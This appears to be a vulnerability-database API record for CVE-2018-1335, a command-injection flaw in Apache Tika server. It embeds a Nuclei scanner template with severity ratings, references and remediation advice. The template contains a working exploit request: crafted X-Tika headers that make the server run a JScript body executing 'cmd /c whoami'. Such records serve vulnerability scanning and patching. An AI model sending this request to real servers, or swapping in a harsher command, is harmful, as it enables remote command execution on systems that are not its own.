{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-1335/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-1335/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-1335/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-1335/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-1335/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-1335"},"sightings":{"href":"/api/v1/sightings/cve-2018-1335"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-1335.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2018-1335\n\ninfo:\n  name: Apache Tika < 1.1.8 - Header Command Injection\n  author: pikpikcu\n  severity: high\n  description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.\n  remediation: Upgrade to Tika 1.18.\n  reference:\n    - https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/\n    - https://www.exploit-db.com/exploits/47208\n    - https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-1335\n    - http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.html\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2018-1335\n    epss-score: 0.93758\n    epss-percentile: 0.9984\n    cpe: cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: tika\n  tags: cve,cve2018,packetstorm,edb,apache,tika,rce,intrusive,vkev,vuln\n\nhttp:\n  - method: PUT\n    path:\n      - \"{{BaseURL}}/meta\"\n\n    body: var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec(\"cmd /c whoami\");\n\n    headers:\n      X-Tika-OCRTesseractPath: cscript\n      X-Tika-OCRLanguage: //E:Jscript\n      Expect: 100-continue\n      Content-type: image/jp2\n      Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"Content-Type: text/csv\"\n\n      - type: word\n        part: body\n        words:\n          - org.apache.tika.parser.DefaultParser\n          - org.apache.tika.parser.gdal.GDALParse\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204ab87050eff2701e08180c3f679cec24bffab596743ae8ea676caa345ef6f55e022100d2290f903d52c1fe7c567c6207fd5ddf9b8f9b8a8ab3476486192b2c7808dcf6:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2018-1335"}